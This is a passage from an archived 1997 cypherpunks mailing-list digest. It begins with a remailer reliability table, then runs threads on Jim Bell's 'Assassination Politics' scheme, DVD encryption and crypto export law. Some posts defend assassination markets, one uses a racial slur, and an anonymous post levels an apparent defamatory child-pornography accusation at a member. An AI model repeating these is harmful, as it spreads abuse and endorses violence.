= " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk pgp hash latent cut ek"; $remailer{"hidden"} = " cpunk pgp hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 7 Apr 97 6:49:56 PDT remailer email address history latency uptime ----------------------------------------------------------------------- nym config at nym.alias.net #-#.-#*#-+## 1:14:20 99.98% weasel config at weasel.owl.de ++++++-++-+ 2:33:28 99.95% lucifer lucifer at dhp.com ++++ +++++++ 33:24 99.88% hidden remailer at hidden.net #.## #**+.-# 2:35:38 99.88% squirrel mix at squirrel.owl.de ++++++--+-+ 2:37:55 99.84% replay remailer at replay.com *-+- *+-.-*- 3:09:40 99.77% cyber alias at alias.cyberpass.net *+++*+ + +++ 39:58 99.53% extropia remail at miron.vip.best.com -.-_.-__..-* 29:08:06 99.52% balls remailer at huge.cajones.com * +# #** ### 1:49 99.49% winsock winsock at rigel.cyberpass.net ----------- 3:11:08 99.38% exon remailer at remailer.nl.com #* * #**#* * 1:31 99.24% jam remailer at cypherpunks.ca * *** ** 8:57 99.06% dustbin dustman at athensnet.com ++ + ------ 1:16:05 99.04% shaman remailer at lycaeum.org - ++++*++ 22:31 97.05% mix mixmaster at remail.obscura.com -*___.-- 36:06:40 89.33% reno middleman at cyberpass.net +.-+ - - 1:41:18 50.25% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From rlpowell at calum.csclub.uwaterloo.ca Mon Apr 7 06:59:57 1997 From: rlpowell at calum.csclub.uwaterloo.ca (Robin Lee Powell) Date: Mon, 7 Apr 1997 06:59:57 -0700 (PDT) Subject: Why Digital Video Disks are late to market In-Reply-To: <199702202056.MAA22465@toad.com> Message-ID: In article <199702202056.MAA22465 at toad.com> Anonymous writes: Path: news.csclub.uwaterloo.ca!not-for-mail From: Anonymous Newsgroups: csc.lists.cypherpunks Date: 20 Feb 1997 17:14:06 -0500 Organization: University of Waterloo Computer Science Club Lines: 7 Sender: daemon at calum.csclub.uwaterloo.ca Approved: mail2news at csclub.uwaterloo.ca Distribution: csc NNTP-Posting-Host: calum.csclub.uwaterloo.ca Precedence: bulk Xref: news.csclub.uwaterloo.ca csc.lists.cypherpunks:32284 > ... there apparently has been some speculation among the U.S. PC community > that Matsushita may be stonewalling on the software-licensing issue so that > it can establish its hardware-based decryption solution in the marketplace. The day it gets published in software is the day someone runs a disassembler on it. That's all there is to it. The day it gets produced in hardware is the day someone starts to reverse-engineer it. Harder, yes, but possible. -Robin From dlv at bwalk.dm.com Mon Apr 7 07:04:02 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 07:04:02 -0700 (PDT) Subject: Our tax dollars used to pay the Usenet forger Pidor Vorobiev Message-ID: Dear Dr. Hecker, I would like to know whether the notorious Usenet forger and canceller Pidor V. Vorobiev is still employed by your laboratory and why. From dlv at bwalk.dm.com Mon Apr 7 08:11:46 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 08:11:46 -0700 (PDT) Subject: There's no such address as 'ca@dm.com'!!! In-Reply-To: <199704051106.DAA00810@intertain-inc.com> Message-ID: One finds the weirdest things in the orphan mailbox... >Date: Sat, 5 Apr 1997 03:06:00 -0800 >From: Intertain Online Help >Message-Id: <199704051106.DAA00810 at intertain-inc.com> >To: ca at dm.com >Subject: Intertain Online Membership Expiration > > >Your membership at Intertain Online (Member Name 4313672) will expire >on 97/04/10. We are constantly adding new videos and >promotional pictures to our show rooms. You can re-register any time >by simply going to our home page (http://intertain-inc.com/) and >select the New Member option - please choose a new username. > >You have a credit of $39 in your account that will be applied >towards any purchase you make at our site before your membership expires >- it cannot be credited back to your card. > >If you have any questions please email us at help at intertain-inc.com > > >Looking forward to hearing from you soon, > >Your Friends at Intertain Online > >http://intertain-inc.com >Intertain Online - Customer Support From toto at sk.sympatico.ca Mon Apr 7 08:28:13 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 08:28:13 -0700 (PDT) Subject: Another Article on Jim Bell from the Oregano In-Reply-To: Message-ID: <3348FE42.ABA@sk.sympatico.ca> Rich Graves wrote: > On Sat, 5 Apr 1997, Alan Olsen wrote: > >>On Thursday, Environmental Protection Agency agents were at Bell's home with > >>a hazardous waste removal contractor analyzing chemicals found by the IRS > >>raiders. One of the chemicals reportedly was cyanide. Since the article doesn't mention the quantity, or other details, one has to wonder if it was a type of rodent or roach poison that many people commonly keep around the house. Did Ma and Pa Bell purchase a little something to take care of a mouse problem? Does this make them co-conspirators? Did the local hardware man suggest the product? Is he part of the plot against the government? I am reminded of the Campaign Against Marijuana Production in Northern California, where TV's and chainsaws were regularly seized as "articles used in marijuana production." At least in Northern California the small town newpapers were honest enough to poke fun at the federal bullshit rather than using it as an opportunity to overblow every minor aspect of the situation. > >They seemed to be unable to nail Jim on free speech issues, so they nailed > >him on "other things". > > No, they never tried to nail him on free speech issues. Read the Friendly > Affidavits at http://www.parrhesia.com/jimbell/ > > The government wasn't even aware of the AP essays until seven months after > they began legal proceedings on "other things." You have it backwards. The > government is using his speech in an attempt to nail him for tax evasion > and conspiracy. It's hard to get an all-encompassing search & seizure > warrant merely to fish for evidence of tax evasion and conspiracy to > harass IRS agents, but throw in an alleged Internet-based murder racket > and the judge will happily bend over and allow you to seize everything of > value. There was so much bullshit in the application for the search warrant that it had to be done by a real fisherman, practiced in the art of enlargening the size of the one that got away, in an attempt to justify asking the judge to let him use a net, instead of trolling. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Mon Apr 7 08:29:23 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 7 Apr 1997 08:29:23 -0700 (PDT) Subject: Another Article on Jim Bell from the Oregano Message-ID: <199704071529.IAA22119@fat.doobie.com> Rich Graves wrote: > > On Mon, 7 Apr 1997, Timothy C. May wrote: > > > At 11:45 PM -0700 4/6/97, Rich Graves wrote: > > > > >I think there is a censorship issue in the way the government is using the > > >issue. I think AP is protected speech, just as the Unabomber Manifesto is. > > >I don't want to see such speech chilled. But I think you've got the > > >instrumentality wrong. > > > > I don't see any evidence either Bell's AP or Kacynski's Unabomber > > manifestos are being chilled. Tim's eyesight is getting worse in his old age. > There's plenty of evidence right here in this thread. See especially the > "Feds Reading This List" branch and Lucky's "First they came for..." > comments. Just because you don't feel chilled doesn't mean others don't. > Whether this paranoia is justified is, of course, another issue: Paranoia is always justified. We live in a predatorial universe, where you have to eat to survive. > > I've written elsewhere why I think Bell was raided. Tim sounded like an IRS aplogetist in that post. I'm beginning to think that the same people who got the dirt on Gilmore and forced him to bend over for C2Net's censors also have some pictures of Tim tucked away somewhere. Contrary to Tim's flimsy reasoning, the IRS did not confine themselves to seeking a search warrant based on the evidence they had regarding possible SSN violations, or even a stretching of logic on that evidence. Instead, they used a blatant misinterpretation of Bell's AP system and developed a train of conspiracy which was even more theoretical than Bell's writing, with absolutely no reference to any hard evidence of Bell having engaged in any illegal speech, despite having read hundreds of Bell's posts. It seems that Tim May despises those on the cypherpunks list who develop conspiracy theories in regard to those who are attempting to censor and ridicule list members, but has no shortage of support for large, powerful government organizations who wish to develop conspiracy theories, using obvious misrepresentations of a persons ideas to subject them to search and seizure on a fishing expedition. > what Inspector Gordon says about AP being in and > of itself evidence of an anti-government conspiracy really bothers me. > That's the kind of thing that does create a chilling effect. Exactly as it is meant to do. At least Rich Graves, snow, and others still have the ability to recognize suppression of speech when they see it. For all of Tim's blustering about Bell's other sins being the source of his problems, Tim could easily find himself in the same position as Jim, if a large government agency should ever decide to use Tim's words to add to his woes in a civil or criminal case. How many on the cypherpunks list are co-conspirators with Jim Bell in his evil plan to murder government officials? Those who replied to his posts? All who received them? I would like to see one of the legal eagles on the list write up an application for a search warrant on the cypherpunks list servers and various individuals (written from the perspective of a government agent/prosecutor), using the same stretch of logic used in Bell's case. TruthMonger From hallam at ai.mit.edu Mon Apr 7 08:50:09 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Mon, 7 Apr 1997 08:50:09 -0700 (PDT) Subject: AP Revisited In-Reply-To: <5iacks$ss2@life.ai.mit.edu> Message-ID: <33491760.1CFB@ai.mit.edu> Kent Crispin wrote: > > If we had anonymous betting pools which ABSOLUTELY shielded the > > identity of the people transferring money to and from them, > > There are many other weak points in the security of a system besides > the cryptographic techniques. The major problem with the scheme is that rat-choice is a theoretical abstraction and not graven on tablets of stone by the supreme being. Its a bit like Marxism, discover one small aspect of the way that economies work then assert that it is the _only_ effect. Unfortunately for Bell he underestimated the scope for state intervention. He's lucky he lives in the US, in France he would have been silenced long ago. > Suppose there was an international treaty banning such betting > pools, with penalty of death for running one? I think its more likely that the states involved would start using covert operations using their own personel rather than contracting out the job. Recently a bunch of UK entepreneurs with significant political backing (brown envelopes?) attempted to start a private lottery. They managed to continue for a few months until the government was forced to close them down. But for their ex-cabinet minister on the board the directors would probably have gone to jail. > Anonymous betting pools are an extremely contrived way of funding any > positive social good. Indeed they were merely one in a long line of schemes each of which had three things in common, cryptography, anti-government sentiments and murdering people. I think that people are giving Jim too much credit. I seem to recall that Tim May or Perry Metzeger took Bell's original scheme apart, made it into something like a coherent argument and then dissmissed the strengthened scheme. The problem with AP is that to make it work you have to assume that the public at large accept some particular normative ethical standard. If this were true you wouldn't need AP. > The political implications are far from obvious. Don't forget that > Hitler didn't kill 6 million jews by himself. Civil forfeiture laws > have supporters. Clinton did win an election. I seem to recall that the War on Drugs was a Bush proposal originally. Dole supported it and as with the CDA I would not expect a single member of congress to stand up against charges of "drug dealers friend". I think its quite wrong to see Clinton as someone who believes in the authoritarian position, the real problem is he cuts his cloth according to the popular whim. In fact Clinton demonstrates precisely the type of outcome AP would produce but without the murders. Basically AP is mob law or lynch law at best. > This is purely wishful thinking on your part. People from all sides > of issues could end up contributing money to all kinds of bets. Hitlers supporters would probably have set up a bounty for killing Jews, Communists and homosexuals. The British Government spent considerable amounts of effort attempting to assasinate Hitler. It proved impossible. The CIA offers considerable rewards for "information" on certain individuals but the takeup rate is much lower than rat-choice would indicate. If anyone wants to make a quick couple of million I can give them the names of a number of people the CIA would like to see "out of the game". If the sum on offer is insufficient a higher one can almost certainly be agreed. I doubt that there will be many takers however. > > Nuclear weapons would go away, the hole in the ozone > > layer would close up, and whales would be safe and happy again. > > All hogwash, of course. If these problems could be solved through > the application of volunteer money they would have been solved long > ago. I think the author might have been being sarcastic. > *No* government will support them. Since AP only works if > you have a sizable fraction of the population participating, some > participants will get caught. If the penalties are stiff there will > be very little incentive to play -- should I risk 10 years in jail so > I can donate $10 to get some dictator killed? Not likely. Interestingly enough the politics of Iran demonstrate why no government could afford to allow an AP type scheme to be enacted. The Iranian government is actually a composite of several power centers. As well as the government proper there are a number of "independent" theocratic organisations that are built on the former state industrial combines. The various groups that formed an alliance to topple the Shah each got a payoff in the form of "guardianship" of one or more of the combines. These combines have the resources to create what is effectively a state within a state. The government would like to move towards a more accomadating situation with the West but it cannot because of the threat from the private states within the state. The infamous fatwah against Salman Rushdie was issued by one of the combines. Similarly the Lebanese crisis involved multiple often opposed "Iranian" supported groups funded by different state factions. Eliminating the leadership of the combines is futile. Death is not a usefull deterent against suicide bombers. Assasination would at best spark off a civil war. Attempting to apply a US constitutional analysis based on the cult of the individual to other cultures is futile. > Of course, it is much easier to aviod getting caught, and the > probability of success is much greater, if the victim is a relative > unknown. So the prize hits would actually be small ones -- someone > might offer $10000 to kill you or me, for example, or a local > political rival, and that would be a good deal for a professional > assassin -- no bodyguards, police protection, or other safeguards to > worry about; and the pursuit will be a small effort. $10,000 is about the market rate for a hit man at present. In places like Columbia the price is considerably lower - $1000 perhaps. Phill From hallam at ai.mit.edu Mon Apr 7 09:04:01 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Mon, 7 Apr 1997 09:04:01 -0700 (PDT) Subject: Cuba and AP Message-ID: <33491B06.FF6@ai.mit.edu> If people want to see the effect of an AP society have a look at Cuba. Under the Batista regime $50 was sufficient to have someone killed. There was anarchy, the police were corrupt, the mafia ran most of the few parts of the country that worked - even they found the lack of order a problem. The result was Fidel Castro. The Batista regime could neither reform nor survive. Any society that was threatened by AP would likewise collapse. It is important to distinguish liberty and libertines. The libertine recognises no check on individual rights, even when they affect the rights of others. The inevitable result of libertinage is authoritarianism. Phill From rah at shipwright.com Mon Apr 7 09:35:57 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 7 Apr 1997 09:35:57 -0700 (PDT) Subject: Bell case and the liability of information... Message-ID: --- begin forwarded text X-Sender: pswire at pop.service.ohio-state.edu Mime-Version: 1.0 Date: Mon, 7 Apr 1997 09:54:35 -0400 Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications From: Peter Swire Subject: Re: America Online and liability for dissemination of informatio To: CYBERIA-L at LISTSERV.AOL.COM At 09:23 PM 4/6/97 -0700, Bob Stock wrote: >Someone said: >>>Look at it this way: what if this anonymous one had gone to his >>>local library, went through the newspapers and collected >>>classified ad forms. Then sent them all in, publishing >>>classifieds which said the same thing in 20 newspapers across the >>>country. > >>the newspapers which published those ads would have >>potential liability if they were negligent in their fact checking >>before publishing them. > >Newspapers are legally required to check the facts of classified ads >before publishing them in order to escape any potential libel >liability? You can't be serious. Sorry. Check out the cases that Soldier of Fortune magazine lost for failing to check its classified ads. The cases involved "gun for hire" classifieds, someone got shot, and the estate was permitted to sue the magazine. The tort analysis used a Hand test, in which the cost of screening the classified (on its face an invitation to commit a deadly crime) was found to be less than the cost to society of allowing the magazine to run such ads. The facts of SOF are very special, but they show at least one scenario where courts have found liability for running a classified ad. Regards, Peter Prof. Peter Swire Ohio State University College of Law e-mail: swire.1 at osu.edu web: http://www.osu.edu/units/law/swire.htm (in early stages of construction) --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From dlv at bwalk.dm.com Mon Apr 7 09:41:21 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 09:41:21 -0700 (PDT) Subject: Brokat Win In-Reply-To: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com> Message-ID: <2mss5D3w165w@bwalk.dm.com> John Young writes: > NYP reports today on the raging success of Germany's > Brokat Informationssysteme in selling strong crypto, > thanks to US export restrctions. C2'sStronghold is cited as > well. Brokat is negotiating with NSA to sell its technology of course, the story is incomplete without the mention of the letter I got from C2Net's lawyers, and other Sandy Sandfort stuff. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From canthony at info-nation.com Mon Apr 7 11:45:59 1997 From: canthony at info-nation.com (Charles Anthony) Date: Mon, 7 Apr 1997 11:45:59 -0700 (PDT) Subject: (Fwd) Re: AP Revisited Message-ID: <199704071845.NAA16677@bitstream.net> ------- Forwarded Message Follows ------- Date: Mon, 07 Apr 1997 11:48:48 -0400 From: Hallam-Baker To: Kent Crispin , cypherpunks at toad.com Subject: Re: AP Revisited I think its quite wrong to see Clinton as someone who believes in the authoritarian position, the real problem is he cuts his cloth according to the popular whim. Think again. Clinton and his administration are rabid when it comes to cryopto policy and the expansion of the FBI and others ability to pry into the lives of innocent citizens.. The draft of the crypto legislation is a good example of how, when given an opportunity to act out of the general public's sight and grasp, he's in there seeking even more ridiculously easy ways to get into everybodies business. I mean the current draft requires only a govt request in order to obtain access to your email. NOT a court ordered/appproved warrant- They may as well ask to be allowed to open and read every letter and pkg at the post office too.(and if this draft becomes law they probably will) All of these 'new' and neccessary' intrusions are Clinton proposals, not hold overs from some other admininstration. If he were opposed in principle he could certainly 'cut his cloth' along less authoratarian lines, following the lead of many of the administrations own committee reports that have come out against key escrow plans, but he will not budge on the issue. In fact, each time it is put back out there it gets worse. Clinton's ability to coopt left energy and appear to be less than he is is- earning appologistic comments like the one above- is what is really frightening. When it comes to US citizens civil liberties, Clinton is more dangerous than Reagan and Bush put together and I wouldn't call either of them friends of the people. Since it has been thrown around so much, remember that Hitler was a most powerful speaker, who connected well with the masses, couching nazi policy in the terms that gave the people what they wanted to hear. They too thought he was a most sincere and earnest fellow, with only the good of the country at heart. A 'Nixon' would never get away with this sort of proposal- but a telegenic, non-enhaling, sax playing, mcdonalds eating, aw shucks, (they lay it on thick you think?) well meaning bubba? --C ********************************************************************** Charles Anthony canthony at info-nation.com http://www.info-nation.com -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3a mQBtAzM63W8AAAEDAMRi15+AIXC0j2R7IrdeNhM7AQXPGAYAd2mCNhKrQa09fICZ 4jEpTd0biV+3nMAL6/6pWUm1AmFPS/FngecmXkrmMPlbgv3O0dapbJ2/FQf3XUtH Z5AEOdKL9xK5Ml7dCQAFE7QIY2FudGhvbnmJAHUDBRAzOt1wi/cSuTJe3QkBAemw AwC1DGxodXVPkA1D6uLdqFvP5H3/98i/gM2x9IvvfZscWszwrJuOhkYyd71TF7K5 gy55OqPp+Rf77On0XhmHoi98Y4HOSTHYPhN9o9zQQ+pn/4HmxQ4Tbtih2sCDNvmG b2g= =0pHR -----END PGP PUBLIC KEY BLOCK----- From shamrock at netcom.com Mon Apr 7 12:15:04 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 7 Apr 1997 12:15:04 -0700 (PDT) Subject: AP Revisited Message-ID: <3.0.32.19970407121308.00733510@netcom10.netcom.com> At 11:48 AM 4/7/97 -0400, Hallam-Baker wrote: >I seem to recall that the War on Drugs was a Bush proposal originally. >Dole supported it and as with the CDA I would not expect a single >member of congress to stand up against charges of "drug dealers friend". The War on Drugs was first declared by President Nixon. It has been a failure ever since. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From hallam at ai.mit.edu Mon Apr 7 12:16:25 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Mon, 7 Apr 1997 12:16:25 -0700 (PDT) Subject: Helping Prof. Jim Bell In-Reply-To: <5i0smu$75o@life.ai.mit.edu> Message-ID: <3349482F.237C@ai.mit.edu> Secret Squirrel wrote: > > If the FBI story is not yet another hoax, I think that it is > a good diea to call jimbell and maybe donate him some $$ for > lawyers or something like that. I'm not sure sending him money for lawyers would be most helpful. I was thinking another type of profession entirely. Until Jim actually gets charged for something I don't see that freedom of speech is the issue. Jim appears to be in trouble for reasons not associated with his AP rants. The AP manifesto has made it worse and attracted the opinion of the press but it does not appear to have caused his trouble, merely affected the way he was dealt with. AP probably caused there to be 20 heavilly armed cops rather than two unarmed ones. It probably meant that casual comments were taken rather more seriously than otherwise. Bell was always much more wacko off list than on. Phill From mixmaster at remail.obscura.com Mon Apr 7 14:59:27 1997 From: mixmaster at remail.obscura.com (Mix) Date: Mon, 7 Apr 1997 14:59:27 -0700 (PDT) Subject: No Subject Message-ID: <199704072109.OAA13107@sirius.infonex.com> Embedded in Tim C[rook] May's babblings are preposterous lies, wild distortions, child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, and racial epithets. \\\\\|///// \\\\|//// < * | * > | * | \( . )/ \___/ From toto at sk.sympatico.ca Mon Apr 7 16:24:56 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 16:24:56 -0700 (PDT) Subject: War on Thugs / was Re: AP Revisited In-Reply-To: <3.0.32.19970407121308.00733510@netcom10.netcom.com> Message-ID: <33497A5C.1A94@sk.sympatico.ca> Lucky Green wrote: > > The War on Drugs was first declared by President Nixon. It has been a > failure ever since. i.e. - The War on Drugs was declared by a traitorous criminal who was guilty of far greater crimes than inhaling the smoke of a plant put on earth by God, for use by mankind. Nixon's position of power shielded him from being punished for his crimes against the nation, unlike happy hippies who serve hard jail time for their 'sins'. Perhaps Jim Bell's 'War on Thugs' via AP is only a furtherance of the "Assassination of Political Careers" instituted by Deep Throat and the Washington Post. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Mon Apr 7 16:25:01 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 7 Apr 1997 16:25:01 -0700 (PDT) Subject: Cuba and AP Message-ID: <199704072324.QAA11970@fat.doobie.com> Hallam-Baker, counting on cypherpunks readers to be unwitting victims of ten second sound-byte mentality, wrote: > > If people want to see the effect of an AP society have a look at Cuba. > Under the Batista regime $50 was sufficient to have someone killed. > There was anarchy, the police were corrupt, the mafia ran most of the > few parts of the country that worked - even they found the lack of order > a problem. > > The result was Fidel Castro. The Batista regime could neither reform nor > survive. Any society that was threatened by AP would likewise collapse. So Hallam-Baker recognizes the AP system as a valid way to bring about the collapse of unpopular, corrupt dictatorships. > It is important to distinguish liberty and libertines. The libertine > recognises no check on individual rights, even when they affect the > rights of others. The inevitable result of libertinage is > authoritarianism. The result of men living together on the face of the earth leads to the inevitable result of authoritarianism. Systems such as "Assassination Politics" can aide in fighting against unbearable corruption of power by lowering the cost of assassination and thus raising the cost of corruption. The stench in Cuba was so bad under the U.S. backed Batista regime that Guerva and Castro were a breath of fresh air for the majority of Cuban people. Despite years of harassment, invasion, and economic attack on Cuba by the shameless 'free' countries of the world, Castro is still a better option for the Cuban people than other options. When this ceases to be the case, then another variation of the Cuban AP system will arise (perhaps Bell's?), and we will see the rise of a new Cuban government. Despite the grand support the IRS is receiving from the government- owned members of the cypherpunks list, it can hardly be argued that the U.S. government has a problem with "Assassination Politics," since they have availed themselves of it in the past, but only with the power of AP being in the hands of the citizens instead of their own ruling hands. TruthMonger (#7) From toto at sk.sympatico.ca Mon Apr 7 16:25:07 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 16:25:07 -0700 (PDT) Subject: Helping Prof. Jim Bell In-Reply-To: <5i0smu$75o@life.ai.mit.edu> Message-ID: <33497CB9.3232@sk.sympatico.ca> Hallam-Baker wrote: > Until Jim actually gets charged for something I don't see that > freedom of speech is the issue. > The AP manifesto...merely affected the way he was dealt with. Hallam-Baker is apparently incapable of understanding his own trail of logic. He tells us that freedom of speech is not the issue, and then proceeds to tell us that Jim Bell was dealt with differently than others for exercising his freedom of speech. Now perhaps he can explain to us how race issues are not involved when cops beat the living crap out of niggers when arresting them for traffic violations. ("Until the nigger in intensive care 'gets charged with something' I don't see that race is an issue.") -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From declan at well.com Mon Apr 7 16:50:31 1997 From: declan at well.com (Declan McCullagh) Date: Mon, 7 Apr 1997 16:50:31 -0700 (PDT) Subject: Helping Prof. Jim Bell In-Reply-To: <5i0smu$75o@life.ai.mit.edu> Message-ID: Although I don't disagree with Phill in general, I note from the IRS agent's affidavit that the reason given for searching his house was they thought he was gonna do the AP thing after all. So AP does appear to have caused if not all his troubles, at least the ones from last week. -Declan At 3:17 PM -0400 4/7/97, Hallam-Baker wrote: > >Until Jim actually gets charged for something I don't see that >freedom of speech is the issue. Jim appears to be in trouble >for reasons not associated with his AP rants. The AP manifesto >has made it worse and attracted the opinion of the press but it >does not appear to have caused his trouble, merely affected the >way he was dealt with. > >AP probably caused there to be 20 heavilly armed cops rather than >two unarmed ones. It probably meant that casual comments were >taken rather more seriously than otherwise. Bell was always much >more wacko off list than on. > > > Phill ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From sunder at brainlink.com Mon Apr 7 16:53:43 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Mon, 7 Apr 1997 16:53:43 -0700 (PDT) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: Message-ID: On Fri, 4 Apr 1997, Vebis, The Great Spamholio wrote: > Uh, huh huh, "I AM SPAMHOLIO", huh huh, huh huh, that was cool, huh huh > huh huh, "I need spam for my UUCPio" huh huh, "Come out with your > filters down" huh huh, huh huh. Spam, spam, spam, spam... Vebis you buttmunch, have you been eating magic mushrooms again? You'd better hide before the men in the white coats take you away and lock you in a nice padded room... Huh huh, huh huh,. =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= For with those which eternal lie, with strange eons even death may die. From rah at shipwright.com Mon Apr 7 17:00:55 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 7 Apr 1997 17:00:55 -0700 (PDT) Subject: New Paper by Ron Rivest Message-ID: --- begin forwarded text From: "Phillip M. Hallam-Baker" To: "Micropay (E-mail)" Subject: New Paper by Ron Rivest Date: Mon, 7 Apr 1997 16:18:51 -0400 MIME-Version: 1.0 Sender: owner-micropay at ai.mit.edu Precedence: bulk Reply-To: micropay at ai.mit.edu Ron Rivest has just added a new paper on Micropayments to his Web site: Electronic Lottery Tickets as Micropayments (rump session talk given at the Financial Cryptography '97 conference) http://theory.lcs.mit.edu/~rivest/publications.html Its in Postscript, perhaps when the HTML Math proposal finally appears... (Three years and counting so far). Phill Phillip M. Hallam-Baker Visitng Scientist MIT Laboratory for Artificial Intelligence. hallam at ai.mit.edu http://www.ai.mit.edu/people/hallam/hallam.html --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From toto at sk.sympatico.ca Mon Apr 7 17:17:49 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 17:17:49 -0700 (PDT) Subject: Wassenaar Arrangement now available In-Reply-To: <3.0.1.32.19970405184302.008065a0@mail.io.com> Message-ID: <33498603.AFC@sk.sympatico.ca> Greg Broiles wrote: > In early March, I filed a FOIA request with the Arms Control & Disarmament > Agency, a division of the Department of State, for a copy of the Wassenaar > Arrangement, a multinational agreement which is intended to regulate and > coordinate the regulation of military and "dual-use" items. (Cryptographic > software and hardware is often considered a "dual-use" item.) > > I received a copy of the Arrangement last week, and have converted it to > HTML. It is available on the web at > > , or > for the security-conscious. > > The document itself does not refer to cryptography or cryptographic > software/hardware. The last page of the document - the "Munitions List" was > blank; but the document was marked "released in full". I'm going to compare > what I've got with the various pieces of the Arrangement which have been > released through other sources to see if I need to make a supplemental > request for more information. The disparity between various informational 'releases' of information surrounding the Wassenaar Agreement points to the real intentions of those involved, which is to regulate the availability to strong crypto not so much through legislation, as through uncertainty surrounding legal issues which can result in severe penalties to those who might chance to cross ill-defined legal lines. In a previous post, I mentioned a law enforcement official who responded to my question about one of the finer points of the law with the reply, "I'm not paid to 'know' the law, I'm paid to 'enforce' it." i.e. No matter what action you perform, the interpretation that the government uses to fuck you in the ass will take an opposite position on the matter. I have seen back-to-back cases in the same courtroom, with the same judge, where government prosecutors argued diametrically opposed positions in order to convict the accused. The result? Two convictions. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From dlv at bwalk.dm.com Mon Apr 7 17:31:43 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 17:31:43 -0700 (PDT) Subject: Cypherpunks FAQ In-Reply-To: Message-ID: "Timothy C. May" writes: > * First, calling for _others_ to write a FAQ, or to "collectively" write a > FAQ, rarely works. (I'm not criticizing Paul, just noting historical truth.) > > * Second, many FAQs have been started, few have been finished. An excellent FAQ from L.Deitweller was shot down by Timmy May and his cronies precisely because Timmy was envious of LD's ability to do what Timmy couldn't do. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Mon Apr 7 